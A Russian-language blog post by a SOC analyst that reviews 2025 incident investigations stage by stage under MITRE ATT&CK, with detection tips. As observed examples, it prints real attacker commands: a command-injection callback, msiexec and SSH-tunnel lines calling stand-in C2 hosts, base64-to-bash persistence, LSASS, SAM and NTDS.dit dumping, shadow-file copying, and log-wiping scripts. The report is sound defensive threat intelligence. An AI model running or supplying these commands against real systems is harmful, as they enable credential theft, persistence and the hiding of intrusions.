Привет, Хабр! С вами снова Никита Полосухин, ведущий аналитик в центре мониторинга и реагирования на кибератаки RED Security SOC. Прошлый год был насыщен расследованиями инцидентов новых заказчиков, и по итогам мы сформировали внутренний отчет. В этом материале я поделился самым интересным — разбором необычных историй кибератак, а также списком популярных (и успешных) процедур злоумышленников. Надеюсь, наши кейсы покажутся вам не только интересными, но и помогут при выборе и организации дополнительных мер защиты в этом году.
В отчете мы использовали классификацию от MITRE ATT&CK, а в этом посте рассмотрим только самые частые или необычные процедуры из всех, что встретились за прошлый год.
Содержание
Разработка ресурсов
Нам встречались как типовые и всем известные утилиты, так и семплы неизвестного вредоносного ПО, которые создавали под конкретную жертву.
Вот наши лидеры среди известных инструментов:
Встречались и такие, но уже намного реже:
socks5 — proxy-библиотека;
фреймворк для криминалистического анализа дампов оперативной памяти;
утилита для сбора информации, реагирования на инциденты и мониторинга информационной безопасности.
И, наконец, уникальные семплы:
Вариант OldGremlin.JsDownloader (да-да, они все еще встречаются).
DNSPartisan — сложный и целевой бэкдор, используемый группировкой Cyberpartisans-BY.
ShadowTunnel — Go-бэкдор для построения цепочек прокси с туннелем aes-in-tls, используемый неатрибутированным злоумышленником.
Новая версия бэкдора BrokenDoor от BO-team.
Версия бэкдора Vasilek от все тех же Cyberpartisans-BY.
Теперь посмотрим, что происходило на следующих этапах килчейна.
Первоначальный доступ
Сначала немного статистики:
Exploit Public-Facing Application (T1190) — самая популярная техника прошлого года по нашей версии, поскольку встречалась в каждом втором инциденте. Чаще всего эксплуатировали: цепочку уязвимостей ToolShell (CVE-2025-49704, CVE-2025-49706, CVE-2025-53770, CVE-2025-53771), цепочку уязвимостей True Conf (BDU:2025-10114 и BDU:2025-10116), уязвимость React4Shell (CVE-2025-55182).
Trusted Relationship (T1199) — причина трети всех инцидентов. Рост доли атак через этот вектор также отмечают и наши коллеги из Solar 4RAYS и Positive Technologies.
Фишинг (T1566) — регулярно сталкивались с попытками фишинга со стороны акторов BO-team, GOFFEE, OldGremlin и других, но только 10% из них были успешными.
А теперь поделюсь любопытным кейсом.
Кейс «Темный AppSec»
Мы обнаружили эксплуатацию уязвимости в проприетарном приложении, которое выполняло функцию статистического моделирования и «предсказания» части процессов с помощью математики и машинного обучения. Компания-жертва обернула все в простой UI на Django и опубликовала в Сети.
Необычно то, что на момент публикации злоумышленники уже находились в инфраструктуре жертвы. Выступив в каком-то смысле в роли AppSec-инженеров, они проанализировали исходный код приложения, нашли уязвимость (недостаточную фильтрацию данных), выполнили произвольный код и… загрузили вредоносное ПО в инфраструктуру.
При этом атакующие били в уязвимый endpoint без разведки или тестов — сразу в точку. Получается, злоумышленники проникли в инфраструктуру, нашли уязвимость в торчащем наружу приложении, создали еще одну точку доступа и начали заливать модифицированный образец TinyShell. Но если у вас уже есть устойчивый доступ в инфраструктуру, зачем такие упражнения?
Хотя с момента инцидента и прошло уже много времени — чтобы однозначно ответить на все вопросы, мы сформировали две гипотезы-объяснения:
Злоумышленники потеряли доступ в инфраструктуру и зашли заново.
Атаковали сразу две группировки. Первые проникли в инфраструктуру, а затем передали информацию вторым. На чем основано это предположение? В 2025 году мы часто сталкивались с тем, что злоумышленники используют обнаруженные в приложениях уязвимости в качестве точек входа для повторной атаки. Так политически мотивированные группировки обмениваются друг с другом информацией, чтобы совершать последовательные нападения — об одном из таких кейсов я подробно рассказывал в статье. А еще в прошлом году мы встречали масштабные инциденты, где виновниками были сразу несколько группировок — они признались, что действовали сообща. Поэтому объединение усилий нескольких группировок для достижения общих целей, на наш взгляд, выходит с уровня точечных «коллабораций» на уровень выстроенного системного процесса.
А еще для успешной эксплуатации уязвимости атакующие использовали интересную технику колбэка, который говорит об успешной эксплуатации уязвимости:
OPTIONS /system/update/%3B%60curl%20-m%2010%20https%3A//requestbin.kanbanbox.com/ HTTP/1.1
Им возвращался колбэк на сервис requestbin.kanbanbox.com, где они и регистрировали свой обработчик таких запросов.
В одном из инцидентов после успешной эксплуатации уязвимости атакующие использовали отстук на редко встречающийся сервис определения внешнего адреса:
curl ident.me|sc ../private/css/c.css
Вывод: злоумышленники используют все больше сервисов, чтобы получить успешный колбэк о своих действиях. Найти их все и выстроить детекты без цунами ложноположительных срабатываний — задача со звездочкой. Ставить корреляции сработок СЗИ и другие техники MITRE ATT&CK на мониторинг — выглядит перспективнее.
Выполнение кода
На этом этапе мы не встретили изощренных техник. В ходу были все те же PowerShell, Bash, CMD, GPO и так далее. В некоторых кейсах встречался JavaScript и Python, но этим никого не удивишь.
Только в одном из инцидентов попался интересный способ выполнения PowerShell на хосте с помощью... velociraptor — того самого, который используют защитники для сбора артефактов. В конфигурации агента в качестве управляющего сервера был указан C2 атакующих:
То есть агент установили напрямую с С2:
msiexec /q /i c2.evil/velo.msi
Еще один не новый, но довольно необычный метод — обработка 1С. Злоумышленники активно пользуются этой уловкой как для выполнения кода, так и для повышения привилегий, ведь в большинстве инсталляций это не запрещено. В нашем случае попался вариант известного в сообществе проекта с открытым исходным кодом — 1C shell.
Закрепление
В этом году мы столкнулись как с распространенными, так и редкими методами закрепления.
Старый добрый .bashrc, cron и gsocket (T1546.004, T1053.003)
Закрепление через .bashrc никуда не ушло, мы нашли его в файле .profile:
# ~/.bashrc: executed by bash(1) for non-login shells. # DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel { echo <long_base64>|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel
То же закрепление было и в cron:
# (- installed on Fri Apr 25 17:12:23 2025) # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $) # DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel 0 * * * * { echo <long_base64>|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel
Ну и классический gsocket:
/usr/bin/pkill -0 -U1000 defunct 2>/dev/null || SHELL=/bin/bash TERM=xterm-256color GS_ARGS="-k /home/<redacted>/.config/htop/defunct.dat -liqD" /usr/bin/bash -c "exec -a '[netns]' '/home/<redacted>/.config/htop/defunct'" 2>/dev/null
Закрепление через ld_preload и local.conf в механизмах служб Linux (T1574.006)
Достаточно интересная точка закрепления, которую не так легко обнаружить.
В качестве начальной точки, с которой стартует поиск, выступает обращение Rsyslog на порт 53, что встречается нечасто:
udp ESTAB 0 0 172.23.134.79:36314 172.23.1.13:53 users:(("rsyslogd",pid=532126,fd=3))
В каталоге с сервисами была директория для rsyslog:
А в ней файл конфигурации:
И уже внутри него — LD_PRELOAD на вредоносную библиотеку.
Так его не видно в глобальном preload, а созданную директорию никто не заметил (тем более что были подменены метки времени).
Закрепление с помощью легитимных туннелей (T1219, T1543.003)
Атакующие не стесняются использовать в своих целях популярные легитимные туннели. Схема проста: есть зараженный клиент, злоумышленник и посредник в виде CDN крупного вендора. Вот примеры:
C:\Program Files (x86)\cloudflared\cloudflared.exe" service install <redacted_base> —туннель cloudflare.C:\ProgramData\Microsoft\AppV\code.exe" tunnel --accept-server-license-terms service install —туннель vscode.
Закрепление с помощью... Kaspersky
Чтобы закрепиться в системе и доставлять туда вредоносные msi-пакеты, злоумышленники установили свой Kaspersky Network Agent, который ссылался на сервер злоумышленников:
"C:\Windows\system32\msiexec.exe" /i "Kaspersky Network Agent.msi" /qn SERVERADDRESS=<rogue ksc address> DONT_USE_ANSWER_FILE=1 EULA=1 SERVERSSLPORT=443 USESSL=1
Повышение привилегий
LSASS (T1003.001)
По-прежнему самый распространенный способ повышения привилегий для Windows — дамп памяти процесса LSASS. В наших инцидентах почти все случаи дампа были построены на методе comsvcs_stealth из проекта lsassy.
%COMSPEC% /Q /c CMD.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%B \Windows\Temp\2ItkvlQt.odt full
Чтобы сдампить процесс lsass, можно забрать всю память. А что если сделать это с помощью утилит, предназначенных для реагирования на инцидент? И вытащить память процесса lsass с помощью memprocfs? Так и поступили злоумышленники по ходу одной из атак:
DumpIt.exe /Q /O dump.dmpmemprocfs.exe -device dump.dmp
ESC (T1649)
Уязвимости серии ESC — лакомый кусочек для атакующих, поскольку встречаются во многих инфраструктурах и открывают широкие возможности для экспериментов.
В одном из инцидентов злоумышленник применил атаку на ADCS (ESC8), скомпрометировал учетную запись контроллера домена и повысил свои привилегии до максимума.
Чтобы обнаружить такую нежелательную активность, можно отслеживать успешные сетевые входы от имени учетной записи типа DC$ на сервере CA с использованием NTLM-аутентификации.
Exploitation for privilege escalation (T1068)
Мы уже говорили про эксплуатацию уязвимости 1С с помощью внешних обработок. А вот еще один аспект: как правило, такие службы запускаются c повышенными привилегиями не только на самом сервере, но и в домене (потому что так удобнее).
В этой схеме злоумышленник автоматически повышает свои привилегии, когда добирается до выполнения произвольного кода.
Уклонение от защиты
Indicator removal (T1070)
Мы видели немало попыток зачистить следы действий и защититься от обнаружения:
grep -F "New session" /var/log/auth.log /bin/sh /bin/egrep -v "{redacted_ip}|username|\\[pid]|\\[pid]|{redacted_date}" /var/log/auth.log /bin/sh /bin/egrep -v "{redacted_ip}|username|\\[pid]|\\[pid]|{redacted_date}" /var/log/syslog /bin/sh /bin/egrep -v "{redacted_ip}|username|\\[pid]|\\[pid]|{redacted_date}" /var/log/daemon.log grep -Po "(?<=New session )(\\d+)" grep -F "New session" /var/log/auth.log shred -fuzv /var/run/log/journal/33e25b14727e42db82b6ff2550d30cf3/system@dd8d9dc991924e40ad99c555b74cbed3-0000000000051f96-000637184be45713.journal journalctl --flush --rotate
Конечно, далеко не всегда следы очистки остаются в явном виде в истории команд. Очистку журналов, особенно журналов аутентификации, в Linux можно находить с помощью появляющихся дыр в таймлайне и событий выхода в журналах без событий входа.
И вот пример для Windows: после установки службы атакующие использовали вот такую технику удаления событий о ее создании и запуске (T1070.001):
$timeThreshold = (Get-Date).AddHours(-1) $eventsToRemove = Get-WinEvent -LogName System | Where-Object { ($_.TimeCreated -ge $timeThreshold) -and ( ($_.Id -eq 7045) -or ($_.Id -eq 7036 -and $_.Message -match "entered the running state") ) } if ($eventsToRemove) { foreach ($event in $eventsToRemove) { Clear-EventLog -LogName System break } }
Bind mounts (T1564.013)
Чтобы скрыть вредоносный процесс, атакующий использует монтирование внутри псевдофайловой системы procfs.
Вот пример команды, которая монтирует директорию из procfs для легитимного процесса (первого попавшегося с ID родительского процесса 1) в директорию procfs вредоносного процесса:
/bin/sh -c "mount -B /proc/pgrep -P 1 | shuf -n 1 /proc/$MAINPID”
Так вредоносный процесс скрывается от тех команд и утилит, которые обращаются напрямую на procfs. Подробно эту технику описали наши коллеги из Group-IB в постах (первый, второй).
Timestomping (T1070.006)
Старая добрая подмена временных меток через touch:
touch -r promtail.service nvmei.service
touch -r promtail.service -h multi-user.target.wants
Masquerading: Match Legitimate Resource Name or Location (T1036.005)
Как всегда, злоумышленники подменяли имена ВПО и закреплений, чтобы их активность не бросалась в глаза. Пример мимикрии клиента SSH под KSN Proxy или klnagent.exe:
C:\ProgramData\Microsoft\Network\Connections\ksnproxy.exe -o StrictHostKeyChecking=no -o UserKnownHostsFile=NUL -R 8080 -N -f -i C:\ProgramData\Microsoft\Network\Connections\options.inf -p 80 http@c2.evil
C:\Windows\Temp\KAVREM~1\BA3F1D~1\exec\klnagent.exe -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 31001 -p443 127001a@anotherc2.evil
А вот маскировка исполняемого файла под легитимный на конкретном сервере, где исходно была утилита youtube-dl:
/lib/systemd/system/youtube-dl.service
Или маскировка под утилиту из набора sysstat:
/usr/lib/sysstat/sadb
И еще — под легитимную системную библиотеку:
C:\Windows\System32\dfxhost.dll
Еще один любопытный метод, чтобы скрыть расширения исполняемого файла — добавить большое количество пробелов (Space after Filename, T1036.006):
Sandbox Evasion (T1497) — кейс защиты от песочниц
Интересный кейс защиты от песочниц мы нашли в дроппере, который запускал бэкдор BrokenDoor. Его разбирали наши коллеги в отчете и в посте, а мы — как быстро проанализировать подобное в подробном мануале.
Итак, внутри дроппера зашит зашифрованный шелл-код, который расшифровывается в рантайме. Шелл-код получает указатель на функцию GetKeyboradLayoutList и в цикле ищет на зараженной машине раскладку 0x0419 (то есть русскую). Если не находит, вредоносное ПО завершает работу: в России нет реально полезных общедоступных песочниц, таких как ANY.RUN, Triage, VirusTotal и подобных. Большинство начинающих и неопытных аналитиков чуть ли не полностью полагаются на VirusTotal при проверке вредоносности ПО. Останавливая работу в (предположительно) зарубежных инфраструктурах, ВПО по сути остается в слепой зоне для тех ресурсов, которые могли бы его «разоблачить».
33 C9 xor ecx, ecx ; i = 0 B8 19 04 00 00 mov eax, 419h ; eax = 0x0419, указатель на русскую раскладку 66 0F 1F 44 00 00 nop dword ptr [rax+rax+00h] ; ---- цикл по всем раскладкам---- 66 39 04 CF cmp [rdi+rcx*8], ax ; сравнить LOWORD(HKL[i]) с 0x0419 74 1F je short found 48 FF C1 inc rcx ; i++ 48 3B CE cmp rcx, rsi ; i < count? 7C F2 jl short loop ; ---- не нашли русскую---- 32 C0 xor al, al ; al = 0 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 ; return ; ---- нашли, в младший байт кладем 1 ---- B0 01 found: mov al, 1 ; al = 1
Группировка Cyberpartisans-BY
Наш победитель в номинации «уклонист года» — группировка Cyberpartisans-BY. В их арсенале мы встретили методы:
Использование сложной и многоступенчатой обфускации (T1027.007, T1027.016). Вместо нормального псевдокода было подобное:
Мимикрия под легитимные исполняемые файлы и библиотеки (T1036.005): /usr/sbin/nvmei, /usr/lib/x86_64-linux-gnu/{libnsan.so,libas.so,libmono.so} и другие.
Изменение временных меток с помощью touch (T1070.006).
Проверки внутри семпла (T1497.001, T1497.002):
hostname (имя домена Active Directory в случае Windows);
arp-таблица (важно, что эта проверка встречалась не во всех семплах) /proc/self/environ;
+ захардкоженный список DNS-серверов (как локальных, так и внешних) для туннелей.
Подмена A-записи для доменов C2. То есть для вредоносных доменов выставляется A-запись известного легитимного сайта, а взаимодействия происходят по CNAME:
Использование зашифрованного DNS-туннеля (T1071.004, T1572, T1573.001).
Отсутствие полезной нагрузки в самом семпле, работа через подгружаемые шелл-коды (T1620).
Кроме того, в одном из кейсов злоумышленники весьма остроумно маскировали бэкдор Vasilek (о нем мы уже говорили в своем исследовании).
Пользователи платформы Zabbix знают, что для оповещений в Telegram есть легитимный скрипт zbxtg.py, который нужно расположить в папке
/usr/lib/zabbix/alertscripts.
Поэтому вредоносный файл атакующие назвали zbxtg.py и разместили по пути:
/root/zabbix/alertscripts/telegram/zbxtg.py.
И этот трюк сработал: один из администраторов зараженной компании долго уверял нас, что это легитимный скрипт для отправки телеметрии в Zabbix.
Cбор учетных данных
Для начала — список директорий, которые посещают для сбора учетных данных чаще всего:
Users\username\AppData\Local\Google\Chrome\User Data\Default\Login Data
Users\username\AppData\Local\Google\Chrome\User Data\Default\Cookies
Users\username\AppData\Local\Microsoft\Edge\User Data
Users\username\Downloads
\.cisco\vpn\log
Users\username\.ssh
Users\username\AppData\Roaming\Microsoft\Credentials
Users\%USER%\AppData\Roaming\Microsoft\Protect\%SID%\
Cert:\LocalMachine\My
А теперь — к популярным техникам.
Unsecured Credentials (T1552)
Сбор учетных записей — это поле, где можно встретить самые разные подтехники. Чаще встречается классический тихий сбор истории команд и SSH-ключей (T1552.004, T1552.003):
tar c root/.bash_history root/.ssh home/*/.bash_history home/*/.ssh find /home/ -maxdepth 2 -iname *.bash_history -exec echo + cat {} ; -exec cat {} ; %UserProfile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Из интересного — злоумышленник сохранил копии веток реестра SAM и SECURITY на скомпрометированных Windows-узлах при помощи системной утилиты esentutl.exe (T1003.004):
esentutl.exe /y -vss C:\Windows\System32\config\SECURITY /d log3.bin
esentutl.exe /y -vss C:\Windows\System32\config\SAM /d log.bin
Часто атакующие используют инструменты для удаленного дампа реестра через RPC (T1003.004):
И еще:
Подробнее о технике можно почитать в посте у коллег.
А вот пример стандартного dcsync для сбора учетных данных со всего домена (DCSync T1003.006):
И все так же популярно копирование файлов passwd и shadow (passwd и shadow, T1003.008):
cp /etc/shadow /tmp/773fafda cp /etc/shadow /tmp/5aeec3de-e1b4-4962-8e79-eba56baed6d1
Dump NTDS.dit (T1003.003)
В базе данных Active Directory хранится очень много полезной информации для злоумышленников: связи, хеши паролей, права и так далее. И вот реальные примеры:
ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\\programdata\\usolocal\\1' q q cmd.exe /c copy "\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\NTDS.dit" .
А теперь самое интересное: чтобы расшифровать мастер-ключи пользователей, злоумышленнику нужно либо знать их пароли (брутфорсить их из хешей довольно накладно по времени), либо достать приватные backup-ключи с контроллера домена. В нашем случае кампания Cloaked Shadow использовала протокол MS-LSAD.
Заметить такую активность можно с помощью события с eid 4662.
Изучение
Злоумышленников привлекают сервисы Сonfluence и Gitlab (и их аналоги), ведь нередко искомая информация хранится там уже в структурированном виде.
Вот пример, как ищут пароли в Gitlab (T1213.003):
GET /search/count?scope=merge_requests&search=secret
GET /search/count?scope=issues&search=secret
GET /search/count?scope=users&search=secret
GET /search/count?scope=milestones&search=secret GET /search?search=secret&nav_source=navbar
GET /search/count?scope=issues&search=pass
GET /search/count?scope=merge_requests&search=pass
GET /search/count?scope=milestones&search=pass
GET /search/count?scope=users&search=pass
GET /search?search=pass&nav_source=navbar
GET /search/count?scope=milestones&search=password
GET /search/count?scope=users&search=password
GET /search/count?scope=merge_requests&search=password
GET /search/count?scope=issues&search=password
GET /search?search=password&nav_source=navbar
Любопытно, что атакующие интересуются, какие правила аудита настроены:
cat /etc/audit/auditd.conf find /etc/audit/ -type f -exec cat {} ;
А также проверяют, кто залогинился по rdp на хост в последние 30 дней (T1654):
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-TerminalServices-LocalSessionManager/Operational'; Id=25; StartTime=(Get-Date).AddDays(-30)} | ForEach-Object { $userDomain = if ($_.Properties[0].Value) { $_.Properties[0].Value } else { 'Unknown' }; $ip = if ($_.Properties[2].Value) { $_.Properties[2].Value } else { 'Unknown' }; New-Object PSObject -Property @{ TimeCreated = $_.TimeCreated; User = $userDomain; IP = $ip } } }
Кроме того, атакующие сканируют сетевые ресурсы SMB (C$, D$) на доступных узлах. Каждая попытка проверить права доступа к сетевой папке (успешная или нет) регистрируется системой как событие с Event ID 5145. И если такое единичное событие является нормой, то массовое сканирование порождает настоящий шторм из тысяч событий с одного IP-адреса (и чаще от одной учетной записи) за короткий промежуток времени.
Для таких случаев можно написать эффективное правило корреляции для SIEM (T1135).
Перемещение
В основном для перемещения по инфраструктуре злоумышленники используют старые и проверенные инструменты (RDP, SSH, SMB). Мы же столкнулись с нетипичным случаем, в котором был замешан уже знакомый нам подозреваемый... KSC.
В инфраструктуре заказчика был сервер, который использовали как терминальный jump-host. С него была видна почти вся инфраструктура, и поэтому стояла мультифакторная аутентификация. Чтобы продвинуться на этот сервер, злоумышленник использовал уже скомпрометированный KSC (и почему-то MFA на нем не было) и отправил на него программную закладку (T1072) через установку сторонних MSI-пакетов.
Сбор данных
Мы уже упоминали про сбор данных с Gitlab. Также выяснилось, что мошенники активно собирают:
истории терминалов, псевдотерминалов и редакторов (mc, vi и так далее);
файлы, относящиеся к активности учетной записи Ansible;
конфигурации SSHD, Auditd и других сервисов и приложений;
журналы приложений и журналы аудита операционной системы.
Организация управления
По-прежнему в ходу у мошенников SSH-туннели, причем активнее стали использовать SSH именно на Windows-хостах. Также мы фиксируем активный интерес к WebSocket и легитимным туннелям по типу VS Code и Cloudflare.
Тем не менее встречаются и старожилы, которые делают свой кастомный протокол. Например, в одном из своих исследований мы описывали уникальный образец ВПО Shadow Tunnel (T1095,T1572,T1090.003).
В этом же кейсе мы находили еще пару интересных техник:
Использование Fallback Channels (T1008) и DGA (T1568.002) техник семплами PartisanDNS.
Использование MultiHop Proxy (1090.003) с помощью семплов DQuic для работы в сегментах жертвы без интернета.
Основные выводы
В 2025 год было немало ярких и громких кейсов, активно появлялись новые техники и любопытные семплы. И вот какие основные тенденции мы выделили:
Заметно прогрессировало число атак через вектор trusted relationship (что отмечает большинство вендоров).
Выросло число новых акторов, семплов, вариантов технической реализации атак. Как итог — даже выстроенный подход к информационной безопасности и достаточно высокая зрелость процессов далеко не всегда успевают за динамикой бизнеса и действиями злоумышленников.
Кооперация и двойные атаки — все чаще так работают группировки с похожими целями и идеологией. Подробнее об этом скоро расскажем в блоге.
В 2026 году мы ожидаем еще большего роста атак и инцидентов, поэтому важно оставаться начеку и быть готовым к разнообразию киберугроз. А мы продолжим делиться информацией о трендовых методиках и инструментах злоумышленников, чтобы команды ИБ могли оперативнее выстраивать линию защиты. Не переключайтесь.